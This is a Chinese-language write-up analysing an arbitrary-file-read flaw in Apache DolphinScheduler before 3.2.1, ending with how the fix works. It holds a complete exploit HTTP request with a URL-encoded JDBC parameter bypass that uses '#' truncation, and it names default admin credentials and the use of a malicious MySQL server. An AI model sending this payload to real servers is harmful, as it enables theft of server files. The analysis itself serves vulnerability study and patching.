漏洞描述
Apache Dolphinscheduler中的任意文件读取漏洞。此问题会影响Apache Dolphinescent:3.2.1之前的版本。我们建议用户将Apache Dolphinescent升级到3.2.1版本,该版本可以修复此问题。
漏洞版本
version<3.2.1
环境搭建
官网下载源码及bin运行包
tar -xvzf apache-dolphinscheduler-*-bin.tar.gz
cd apache-dolphinscheduler-*-bin
bash ./bin/dolphinscheduler-daemon.sh start standalone-server
修改jvm在standalone-server/bin/start.sh
访问http://localhost:12345/dolphinscheduler/ui
admin/dolphinscheduler123
代码分析
漏洞存在于org.apache.dolphinscheduler.plugin.datasource.mysql.param.MySQLDataSourceProcessor#getConnection
这里调用了MySQLDataSourceProcessor#getJdbcUrl函数将返回值作为jdbcUrl来进行连接
进行了判断:如果请求存在other参数,就会进入到MySQLDataSourceProcessor#transformOther
可以看到这里使用MySQLDataSourceProcessor#checkKeyIsLegitimate函数
对other参数中的键名进行了过滤(第一层过滤:contains判断),排除了黑名单内键名
黑名单如下:
如果存在如下键名就会替换为null
在键名过滤之后,还会追加APPEND_PARAMS到jdbcUrl中
PPEND_PARAMS如下
是将危险的jdbcUrl参数通过字符串的形式设置为false,这样用户在这之前设置的危险参数都将被覆盖
也就是在初始化jdbcUrl语句时进行了过滤(第二层过滤:属性覆盖)
漏洞复现
根据已知的jdbcAttack攻击绕过手段,全部过滤可以被绕过(绕过细节可以参考上一篇Dataease jdbcUrl bypss分析),请求如下
POST /dolphinscheduler/datasources/connect HTTP/1.1
Host: 172.18.178.167:12345
Content-Length: 407
Accept: application/json, text/plain, */*
sessionId: 338d2a47-ed61-4fc5-9868-5c8b0c57dec5
language: zh_CN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://172.18.178.167:12345
Referer: http://172.18.178.167:12345/dolphinscheduler/ui/datasource
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: securityConfigType=PASSWORD; sessionId=338d2a47-ed61-4fc5-9868-5c8b0c57dec5; language=zh_CN; sessionId=338d2a47-ed61-4fc5-9868-5c8b0c57dec5
Connection: close
{"type":"MYSQL","label":"MYSQL","name":"t2","note":"","host":"172.18.176.1","port":3308,"principal":"","javaSecurityKrb5Conf":"","loginUserKeytabUsername":"","loginUserKeytabPath":"","mode":"","userName":"c","password":"","database":"d","connectType":"","other":{"%61%6c%6c%6f%77%4c%6f%61%64%4c%6f%63%61%6c%49%6e%66%69%6c%65=%74%72%75%65#":"a"},"endpoint":"","MSIClientId":"","dbUser":"","datawarehouse":""}
已知在jdbcurl中可以通过#符号截断后续的字符为注释字符串
jdbcurl又可以解析参数名和参数值的url编码形式,那么就可以将other键名设置为
- %61%6c%6c%6f%77%4c%6f%61%64%4c%6f%63%61%6c%49%6e%66%69%6c%65=%74%72%75%65#
url解码后为 - allowLoadLocalInfile=true#
此时getJdbcUrl(connectionParam)的返回值就变成了
jdbc:mysql://172.18.176.1:3308/d?%61%6c%6c%6f%77%4c%6f%61%64%4c%6f%63%61%6c%49%6e%66%69%6c%65=%74%72%75%65#=a&allowLoadLocalInfile=false&autoDeserialize=false&allowLocalInfile=false&allowUrlInLocalInfile=false
%61%6c%6c%6f%77%4c%6f%61%64%4c%6f%63%61%6c%49%6e%66%69%6c%65=%74%72%75%65经过url编码不会在org.apache.dolphinscheduler.plugin.datasource.mysql.param.MySQLDataSourceProcessor#checkKeyIsLegitimate触发contains函数,成功的绕过了第一层过滤
然后可以看到allowLoadLocalInfile=false&autoDeserialize=false&allowLocalInfile=false&allowUrlInLocalInfile=false被#符号截断,成为了无效的注释字符,这样就可以绕过第二个过滤
此时创建恶意mysql服务器,就可以利用allowLoadLocalInfile参数读取服务器任意文件
漏洞修复
不再通过直接拼接jdbcUrl来进行过滤,而是将过滤属性作为properties来进行初始化(这样就无法通过注释绕过),修复了漏洞